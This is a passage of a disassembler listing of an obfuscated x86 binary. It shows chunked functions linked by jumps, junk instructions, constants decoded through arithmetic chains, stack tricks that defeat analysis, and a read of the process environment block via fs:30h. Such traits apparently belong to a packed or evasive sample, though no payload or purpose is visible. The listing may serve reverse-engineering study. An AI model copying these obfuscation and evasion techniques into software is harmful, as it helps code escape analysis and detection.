FOR sub_426708 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A30 loc_4247B9: ; CODE XREF: sub_426A30+1E94j mov ebx, [ebx+ecx] loc_4247BC: ; CODE XREF: sub_426A30+5E4j call sub_42873F loc_4247C1: ; CODE XREF: sub_426A30-379Aj ; sub_426A30:loc_426FF4j ... js loc_4248F1 mov ecx, [ebx+3Ch] jmp loc_423126 ; END OF FUNCTION CHUNK FOR sub_426A30 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428192 loc_4247CF: ; CODE XREF: sub_428192+Bj push offset loc_42312B jmp nullsub_104 ; END OF FUNCTION CHUNK FOR sub_428192 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282F8 loc_4247D9: ; CODE XREF: sub_4282F8+Cj mov [ebp+var_8], eax mov eax, [ebp+arg_0] push eax mov eax, [ebp+arg_0] test byte ptr [eax-8], 8 setnz al call sub_42392D jmp loc_426189 ; END OF FUNCTION CHUNK FOR sub_4282F8 ; =============== S U B R O U T I N E ======================================= sub_4247F4 proc near ; CODE XREF: hjohnhn9:004276F2p ; hjohnhn9:0042770Fj ; FUNCTION CHUNK AT 0042634A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004263F6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426D4F SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00428A7E SIZE 00000019 BYTES xchg eax, [esp+0] pop eax loc_4247F8: ; CODE XREF: hjohnhn9:0042810Fj mov al, 1 call edx jmp loc_426D4F sub_4247F4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425EA9 loc_424801: ; CODE XREF: sub_425EA9:loc_4289C0j jnz loc_427CE0 call sub_42351F push offset loc_427CD8 jmp nullsub_70 ; END OF FUNCTION CHUNK FOR sub_425EA9 ; --------------------------------------------------------------------------- loc_424816: ; CODE XREF: hjohnhn9:00427E70j rol esi, 9 ; =============== S U B R O U T I N E ======================================= sub_424819 proc near ; CODE XREF: sub_426A78+C8Ap var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00423394 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423C02 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00423EC7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424013 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 004242E3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042488B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00424967 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00425F9E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426491 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00426875 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426A03 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426B97 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426EC4 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 004272E4 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004273F5 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00427B0E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00427F3A SIZE 00000009 BYTES ; FUNCTION CHUNK AT 004282C4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428ED0 SIZE 0000000E BYTES xchg ebx, [esp+0] pop ebx mov eax, esp jmp loc_427F3A sub_424819 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A28 loc_424824: ; CODE XREF: sub_424A28j mov eax, ds:dword_4233C4 or eax, eax jmp loc_4276BB ; END OF FUNCTION CHUNK FOR sub_424A28 ; =============== S U B R O U T I N E ======================================= sub_424831 proc near ; DATA XREF: sub_42645D+8o ; FUNCTION CHUNK AT 00424405 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004276B6 SIZE 00000005 BYTES push esi push 85CCA664h pop esi add esi, 0A1CD7584h xor esi, 0E496735Ch sub esi, 0E8B9B3D8h jmp loc_4276B6 sub_424831 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426CC8 loc_42484F: ; CODE XREF: sub_426CC8+13j add ecx, 1237F74h test ecx, 100000h jmp loc_426DCF ; END OF FUNCTION CHUNK FOR sub_426CC8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42363F loc_424860: ; CODE XREF: sub_42363F+264Fj jz loc_424FB6 jmp loc_424B8A ; END OF FUNCTION CHUNK FOR sub_42363F ; =============== S U B R O U T I N E ======================================= sub_42486B proc near ; CODE XREF: sub_425029+2107p ; hjohnhn9:0042840Ej ; FUNCTION CHUNK AT 0042836D SIZE 00000005 BYTES xchg esi, [esp+0] pop esi inc dword ptr [ebp-0Ch] jmp loc_42836D sub_42486B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_424877 proc near ; CODE XREF: sub_428B28:loc_423279j ; sub_426D17-3821p ... ; FUNCTION CHUNK AT 0042464A SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004265EE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042792C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004288F3 SIZE 00000005 BYTES push ebp jmp loc_4288F3 sub_424877 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42487D: ; CODE XREF: hjohnhn9:00425C6Cj jnb loc_4280AE rol edx, 1Ch jmp sub_4245BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_42488B: ; CODE XREF: sub_424819:loc_423EC7j jl loc_4273F5 ; END OF FUNCTION CHUNK FOR sub_424819 ; START OF FUNCTION CHUNK FOR sub_426C09 loc_424891: ; CODE XREF: sub_426C09+Ej jmp loc_42361F ; END OF FUNCTION CHUNK FOR sub_426C09 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42303E loc_424896: ; CODE XREF: sub_42303E+Cj jmp loc_427119 ; END OF FUNCTION CHUNK FOR sub_42303E ; --------------------------------------------------------------------------- jg loc_42756B jmp loc_4273EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4263E3 loc_4248A6: ; CODE XREF: sub_4263E3+Ej jz loc_426CA1 jmp loc_428A14 ; END OF FUNCTION CHUNK FOR sub_4263E3 ; =============== S U B R O U T I N E ======================================= sub_4248B1 proc near ; DATA XREF: sub_424161-102Do jnz loc_425FA3 call sub_424877 mov edx, 0B9726E5Ah call sub_4279ED call sub_428249 sub_4248B1 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_424A78 loc_4248CB: ; CODE XREF: sub_424A78+217Aj jmp loc_4282EF ; END OF FUNCTION CHUNK FOR sub_424A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4264FA loc_4248D0: ; CODE XREF: sub_4264FA+13j jmp nullsub_17 ; END OF FUNCTION CHUNK FOR sub_4264FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E8C loc_4248D5: ; CODE XREF: sub_426E8C:loc_426DD5j mov ecx, [ebx+ecx+0Ch] or ecx, ecx jz loc_425B24 call sub_426859 jnz loc_425B24 jmp loc_42804B ; END OF FUNCTION CHUNK FOR sub_426E8C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A30 loc_4248F1: ; CODE XREF: sub_426A30:loc_4247C1j mov ecx, [ebx+3Ch] call sub_428E76 ; END OF FUNCTION CHUNK FOR sub_426A30 ; =============== S U B R O U T I N E ======================================= sub_4248F9 proc near ; CODE XREF: sub_4250FC:loc_4268DBp ; hjohnhn9:00428CE2j xchg ebx, [esp+0] pop ebx pop ecx pop ecx jmp loc_427BB3 sub_4248F9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_424904: ; DATA XREF: sub_42351F+2o mov eax, large fs:30h mov eax, [eax+0Ch] call sub_426C48 ; START OF FUNCTION CHUNK FOR sub_4266B5 loc_424913: ; CODE XREF: sub_4266B5:loc_426B04j call sub_42355C loc_424918: ; CODE XREF: sub_428E65+Cj jmp nullsub_71 ; END OF FUNCTION CHUNK FOR sub_4266B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428309 loc_42491D: ; CODE XREF: sub_428309+Bj jmp nullsub_52 ; END OF FUNCTION CHUNK FOR sub_428309 ; --------------------------------------------------------------------------- loc_424922: ; CODE XREF: hjohnhn9:0042701Cj jo loc_4290DF ; =============== S U B R O U T I N E ======================================= sub_424928 proc near ; CODE XREF: sub_426BFD+7p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00423984 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00428636 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00428696 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi xchg edx, [esp-4+arg_0] push 5B23B617h xchg edi, [esp+0] mov esi, edi pop edi jmp loc_428636 sub_424928 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_82. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_18. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_424941: ; CODE XREF: hjohnhn9:00428935j jmp loc_427F09 ; =============== S U B R O U T I N E ======================================= sub_424946 proc near ; CODE XREF: hjohnhn9:00426BCDj ; sub_42325E:loc_428EBFp ; FUNCTION CHUNK AT 004281EA SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00429018 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx add ebx, ebp add ebx, 0D9BF36A1h mov ebx, [ebx] loc_424954: ; CODE XREF: sub_4251EB+DFCj popf add edx, ebx jmp loc_429018 sub_424946 endp ; sp-analysis failed ; --------------------------------------------------------------------------- test eax, 7427B536h jmp loc_426CE0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_424967: ; CODE XREF: sub_424819:loc_423394j pop eax add eax, 5B709358h rol eax, 1Eh push offset sub_4283C9 jmp loc_4242E3 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_42497B: ; CODE XREF: sub_4260BD+228Fj pop ebx loc_42497C: ; CODE XREF: hjohnhn9:00425F73j cmp dword ptr [ebp-8], 0 jnz loc_42763E jmp loc_426E4D ; --------------------------------------------------------------------------- loc_42498B: ; CODE XREF: sub_4260BD-264Dj mov [ebx], eax pop ebx xor eax, eax push ebx jmp loc_423CA1 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- loc_424996: ; DATA XREF: sub_425EEA-2067o cmp dword ptr [eax-1Ch], 0F7h jnz loc_423F3D ; START OF FUNCTION CHUNK FOR sub_424631 loc_4249A3: ; CODE XREF: sub_424631+907j ; sub_424631+2A7Aj ... jb loc_428DD1 mov eax, [ebp+8] test byte ptr [eax-10h], 38h call sub_4281B9 loc_4249B5: ; CODE XREF: sub_42303E+40EAj jmp loc_425040 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- loc_4249BA: ; CODE XREF: hjohnhn9:00425BB3j jmp loc_42688E ; =============== S U B R O U T I N E ======================================= sub_4249BF proc near ; DATA XREF: sub_42472Do push ebx mov ebx, ebp push offset loc_42821A jmp nullsub_9 sub_4249BF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279C0 loc_4249CC: ; CODE XREF: sub_4279C0:loc_423D42j push edi mov edi, ecx xchg edi, [esp+4+var_4] call sub_426A78 loc_4249D7: ; CODE XREF: sub_428F4A+9j jmp loc_425F5B ; END OF FUNCTION CHUNK FOR sub_4279C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231AD loc_4249DC: ; CODE XREF: sub_4231AD+4DFDj jmp nullsub_45 ; END OF FUNCTION CHUNK FOR sub_4231AD ; =============== S U B R O U T I N E ======================================= sub_4249E1 proc near ; CODE XREF: hjohnhn9:004246EFp ; hjohnhn9:00428A23j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00423EB7 SIZE 0000000A BYTES xchg eax, [esp+0] pop eax xchg edi, [esp+0] mov ecx, eax xchg ecx, [esp+0] jmp loc_423EB7 sub_4249E1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov ebp, 93E12E7Eh jmp sub_426523 ; --------------------------------------------------------------------------- sub esi, 3FFC6C71h jmp sub_428309 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42851A loc_424A07: ; CODE XREF: sub_42851A:loc_429107j cmp edx, 5259E0A8h jmp loc_424E6B ; END OF FUNCTION CHUNK FOR sub_42851A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_424A12: ; CODE XREF: sub_4260BD+158Bj jl loc_426D93 jmp loc_426325 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42897B loc_424A1D: ; CODE XREF: sub_42897B-3A0Aj mov eax, [ebp-8] sub [ebp-0Ch], eax pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42897B ; =============== S U B R O U T I N E ======================================= sub_424A28 proc near ; CODE XREF: sub_423548+4p sub_423F65p ; FUNCTION CHUNK AT 00424824 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004276BB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427ACF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004284A7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042872F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004289C5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428EAA SIZE 00000015 BYTES jnb loc_424824 jmp loc_42872F sub_424A28 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_424A33: ; CODE XREF: sub_42304F+503Bj push eax jmp loc_4274F9 ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244F5 loc_424A39: ; CODE XREF: sub_4244F5+Dj add esp, 8 mov eax, [eax] add eax, [ebp-4] jmp loc_4290DF ; END OF FUNCTION CHUNK FOR sub_4244F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4237F4 loc_424A46: ; CODE XREF: sub_4237F4:loc_423963j xor ecx, 49492E6Ch pushf rol ecx, 4 jmp loc_4243D4 ; END OF FUNCTION CHUNK FOR sub_4237F4 ; =============== S U B R O U T I N E ======================================= sub_424A55 proc near ; CODE XREF: sub_426287+3j ; FUNCTION CHUNK AT 00424C81 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 004286DD SIZE 00000009 BYTES add esp, 0FFFFFFF8h mov [ebp-4], eax mov eax, [ebp-4] loc_424A5E: ; CODE XREF: hjohnhn9:loc_427B6Dj mov [ebp-8], eax mov eax, [ebp+8] test byte ptr [eax-8], 10h jmp loc_4286DD sub_424A55 endp ; sp-analysis failed ; --------------------------------------------------------------------------- and esi, eax jmp sub_425E49 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_125. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_424A75: ; CODE XREF: hjohnhn9:004281E5j mov esi, [ebp+0] ; =============== S U B R O U T I N E ======================================= sub_424A78 proc near ; CODE XREF: sub_4234CA+4p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042380B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423FE9 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 004242D9 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004248CB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424AA4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424C0C SIZE 0000003A BYTES ; FUNCTION CHUNK AT 00426BDF SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00426DAA SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00427637 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00427800 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427984 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004282EF SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00428B8A SIZE 0000000E BYTES xchg ecx, [esp+0] pop ecx call sub_424698 jmp loc_424C33 sub_424A78 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_48. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jnz loc_424F76 jmp loc_4271A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F65 loc_424A92: ; CODE XREF: sub_423F65+1345j cmp ebp, 0A0055B9Fh jmp loc_424F8B ; END OF FUNCTION CHUNK FOR sub_423F65 ; =============== S U B R O U T I N E ======================================= sub_424A9D proc near ; DATA XREF: hjohnhn9:004266F3o push eax call sub_4244F5 retn sub_424A9D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A78 loc_424AA4: ; CODE XREF: sub_424A78+1C9j jmp loc_424C0C ; END OF FUNCTION CHUNK FOR sub_424A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279ED loc_424AA9: ; CODE XREF: sub_4279ED-3540j jmp nullsub_31 ; END OF FUNCTION CHUNK FOR sub_4279ED ; =============== S U B R O U T I N E ======================================= sub_424AAE proc near ; CODE XREF: sub_426475-2F96p ; sub_424335+4p ... mov eax, 54F79355h locret_424AB3: ; CODE XREF: hjohnhn9:0042776Aj retn sub_424AAE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_424AB4: ; CODE XREF: sub_425BD2+174Dj jmp loc_424E86 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427564 loc_424AB9: ; CODE XREF: sub_427564:loc_42756Bj call sub_424AAE push 0B95E2A78h pop edx jmp loc_428B22 ; END OF FUNCTION CHUNK FOR sub_427564 ; --------------------------------------------------------------------------- loc_424AC9: ; CODE XREF: hjohnhn9:00423972j push esi ; START OF FUNCTION CHUNK FOR sub_428477 loc_424ACA: ; CODE XREF: sub_428477:loc_42395Dj and edx, 0AFC9BF05h xor edx, 17C11FA5h add edx, ebp jmp loc_424CC8 ; END OF FUNCTION CHUNK FOR sub_428477 ; --------------------------------------------------------------------------- locret_424ADD: ; CODE XREF: hjohnhn9:00423FB4j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_424ADE: ; CODE XREF: sub_4262C5-145Fj jmp loc_423466 ; END OF FUNCTION CHUNK FOR sub_4262C5 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424AE3 proc near ; CODE XREF: hjohnhn9:00423FAAp var_4 = dword ptr -4 push ebp mov ebp, esp push ebx mov ebx, ecx xchg ebx, [esp+4+var_4] loc_424AEC: ; CODE XREF: hjohnhn9:00424BE4j mov [ebp+var_4], eax call sub_427E7B jmp loc_424F48 sub_424AE3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244F5 loc_424AF9: ; CODE XREF: sub_4244F5-2AFj push 82D50C2h adc eax, esi loc_424B00: ; CODE XREF: sub_4244F5:loc_424238j rol ecx, 12h add ecx, 83F71552h xchg ecx, [esp+4+var_4] jmp loc_425E44 ; END OF FUNCTION CHUNK FOR sub_4244F5 ; --------------------------------------------------------------------------- loc_424B11: ; CODE XREF: hjohnhn9:00425024j cmp eax, 5BF3FC7Eh jmp loc_428626 ; --------------------------------------------------------------------------- loc_424B1C: ; CODE XREF: hjohnhn9:00427C52j ; DATA XREF: sub_427C43o mov edx, 1 lock xchg edx, [eax] or edx, edx push offset sub_424EA4 jmp locret_427876 ; =============== S U B R O U T I N E ======================================= sub_424B30 proc near ; CODE XREF: sub_424631-6F1p ; hjohnhn9:00428D7Bj xchg edi, [esp+0] pop edi mov [ebp-8], eax mov eax, [ebp-8] call sub_423655 loc_424B3F: ; CODE XREF: sub_423B05+913j jmp nullsub_10 sub_424B30 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_109. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_424B45: ; CODE XREF: sub_423B05+15j jmp loc_4230CE ; END OF FUNCTION CHUNK FOR sub_423B05 ; =============== S U B R O U T I N E ======================================= sub_424B4A proc near ; DATA XREF: sub_426354+Eo ; FUNCTION CHUNK AT 0042666C SIZE 00000005 BYTES jnz loc_426938 mov eax, 6 sub eax, [ebp-0Ch] mov [ebp-0Ch], eax jmp loc_42666C sub_424B4A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_424B60: ; CODE XREF: sub_426354+4j cmp dword ptr [ebp-1Ch], 66h jnz loc_426938 jmp loc_425EC5 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- loc_424B6F: ; CODE XREF: hjohnhn9:00423312j jz loc_42476D jmp loc_4270CA ; --------------------------------------------------------------------------- popf jmp sub_427B7A ; --------------------------------------------------------------------------- mov ebp, 849A51Eh jmp sub_426C1C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42363F loc_424B8A: ; CODE XREF: sub_42363F+1227j not ecx cmp eax, 61EBB8C1h jmp loc_427491 ; END OF FUNCTION CHUNK FOR sub_42363F ; =============== S U B R O U T I N E ======================================= sub_424B97 proc near ; DATA XREF: hjohnhn9:00423998o ; FUNCTION CHUNK AT 00424EBE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042741C SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042829E SIZE 00000025 BYTES mov esp, ebp xchg edx, [esp+0] push edx pop ebp jmp loc_424EBE sub_424B97 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278DC loc_424BA3: ; CODE XREF: sub_4278DC+7B9j jz loc_427B3C jmp loc_424C01 ; END OF FUNCTION CHUNK FOR sub_4278DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4236A7 loc_424BAE: ; CODE XREF: sub_4236A7+5986j jl loc_42706D ; END OF FUNCTION CHUNK FOR sub_4236A7 ; START OF FUNCTION CHUNK FOR sub_423CDB loc_424BB4: ; CODE XREF: sub_423CDB:loc_42626Aj jmp loc_426762 ; END OF FUNCTION CHUNK FOR sub_423CDB ; --------------------------------------------------------------------------- or edi, 86054EE6h jnz loc_425CC2 and esi, edx test eax, edx jmp loc_428F2C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4263E3 loc_424BCE: ; CODE XREF: sub_4263E3:loc_4265E9j pop ebp push offset sub_4262C2 jmp nullsub_107 ; END OF FUNCTION CHUNK FOR sub_4263E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_424BD9: ; CODE XREF: sub_42466E:loc_425D3Dj jle loc_42476D jmp loc_423BB8 ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- jg loc_424AEC mov [ebp+0], ecx jmp sub_424631 ; --------------------------------------------------------------------------- loc_424BF2: ; DATA XREF: sub_4279ED-3545o cmp dword ptr [ebp-4], 0 jz loc_4244EE call sub_4289A4 ; START OF FUNCTION CHUNK FOR sub_4278DC loc_424C01: ; CODE XREF: sub_4278DC-2D33j jmp loc_423D54 ; END OF FUNCTION CHUNK FOR sub_4278DC ; --------------------------------------------------------------------------- cdq jmp sub_42441D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A78 loc_424C0C: ; CODE XREF: sub_424A78:loc_424AA4j jz loc_426BDF push ebp mov eax, [ebp-20h] call sub_423B6C pop ecx mov [ebp-20h], eax jmp loc_4242D9 ; --------------------------------------------------------------------------- loc_424C24: ; CODE XREF: sub_424A78:loc_424C37j test byte ptr [ebp-7], 8 jz loc_426BDF jmp loc_427800 ; --------------------------------------------------------------------------- loc_424C33: ; CODE XREF: sub_424A78+9j pop ecx mov [ebp-20h], eax loc_424C37: ; CODE XREF: sub_427B51+11j ; sub_428162+Dj ... jz loc_424C24 test byte ptr [ebp-7], 8 jmp loc_424AA4 ; END OF FUNCTION CHUNK FOR sub_424A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4237F4 loc_424C46: ; CODE XREF: sub_4237F4-401j ; sub_424631:loc_4264F5j mov [edx-18h], eax inc [ebp+var_4] mov eax, [ebp+arg_0] mov eax, [eax-18h] and eax, 7 push offset loc_423DA8 jmp nullsub_39 ; END OF FUNCTION CHUNK FOR sub_4237F4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424C5F proc near ; CODE XREF: sub_423F65+432Cp ; FUNCTION CHUNK AT 004263D8 SIZE 00000005 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF4h call sub_424EC9 loc_424C6A: ; DATA XREF: sub_425CB3+1BB2o push eax push offset sub_4279C8 jmp loc_4263D8 sub_424C5F endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_21. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279ED loc_424C76: ; CODE XREF: sub_4279ED+15j jmp loc_4244A3 ; END OF FUNCTION CHUNK FOR sub_4279ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_424C7B: ; CODE XREF: sub_423BC3+3C76j jmp loc_42465F ; END OF FUNCTION CHUNK FOR sub_423BC3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_59. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A55 loc_424C81: ; CODE XREF: sub_424A55:loc_4286DDj mov eax, [ebp+8] cmp dword ptr [eax-4], 4 jnz loc_424C97 add dword ptr [ebp-8], 4 jmp loc_4286E6 ; --------------------------------------------------------------------------- loc_424C97: ; CODE XREF: sub_424A55+233j add dword ptr [ebp-8], 2 jmp loc_426B92 ; END OF FUNCTION CHUNK FOR sub_424A55 ; --------------------------------------------------------------------------- call sub_427324 ; START OF FUNCTION CHUNK FOR sub_423CDB loc_424CA5: ; CODE XREF: sub_423CDB+472Cj jmp loc_428851 ; END OF FUNCTION CHUNK FOR sub_423CDB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_424CAA: ; CODE XREF: sub_424631+1FFCj jmp loc_426535 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- loc_424CAF: ; CODE XREF: hjohnhn9:00424F15j and ebx, 6E04C0F0h mov [ebp+0], edx test ecx, ebx jmp loc_427EF5 ; --------------------------------------------------------------------------- shr edx, 1Ah popf jmp sub_423655 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428477 loc_424CC8: ; CODE XREF: sub_428477-399Fj add edx, 0C43ED46Bh mov edx, [edx] xchg edx, [esp+0] loc_424CD3: ; CODE XREF: hjohnhn9:00423A8Dj push [ebp+arg_4] push eax push 3F802B24h jmp loc_424DE2 ; END OF FUNCTION CHUNK FOR sub_428477 ; --------------------------------------------------------------------------- cmp edx, 42E40086h jmp loc_426E86 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231AD loc_424CEC: ; CODE XREF: sub_4231AD+3746j and ax, 38FFh cmp ax, 20FFh jz loc_427555 xor eax, eax loc_424CFC: ; CODE XREF: sub_4231AD+43AAj mov [ebp-5], al jmp loc_4265C8 ; END OF FUNCTION CHUNK FOR sub_4231AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427AC0 loc_424D04: ; CODE XREF: sub_427AC0:loc_423B3Ej jz loc_424705 xchg ebp, [edi] jmp loc_424703 ; END OF FUNCTION CHUNK FOR sub_427AC0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4250FC loc_424D11: ; CODE XREF: sub_4250FC-1D98j pop eax loc_424D12: ; CODE XREF: hjohnhn9:loc_4232F7j mov eax, 400h push ecx push 52D8C801h xchg eax, [esp+0] jmp loc_423114 ; END OF FUNCTION CHUNK FOR sub_4250FC ; =============== S U B R O U T I N E ======================================= sub_424D25 proc near ; CODE XREF: hjohnhn9:00424385j ; sub_427032:loc_42448Cp xchg ecx, [esp+0] pop ecx cmp dword ptr [eax], 0FFFFFFFFh mov ebx, [eax+4] mov eax, [eax] jnz loc_427039 retn sub_424D25 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_424D38 proc near ; CODE XREF: hjohnhn9:00423140j ; sub_4244F5p ; FUNCTION CHUNK AT 00423958 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428AAC SIZE 0000000F BYTES xchg edx, [esp+0] loc_424D3B: ; CODE XREF: hjohnhn9:00425116j pop edx push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp-4], eax call nullsub_2 loc_424D4A: ; CODE XREF: sub_4250FC+1823j mov eax, [ebp-4] jmp loc_428AAC sub_424D38 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_424D52: ; CODE XREF: sub_427486:loc_42721Dj add eax, 0FB3E126Ch push offset loc_427661 jmp loc_42850B ; END OF FUNCTION CHUNK FOR sub_427486 ; 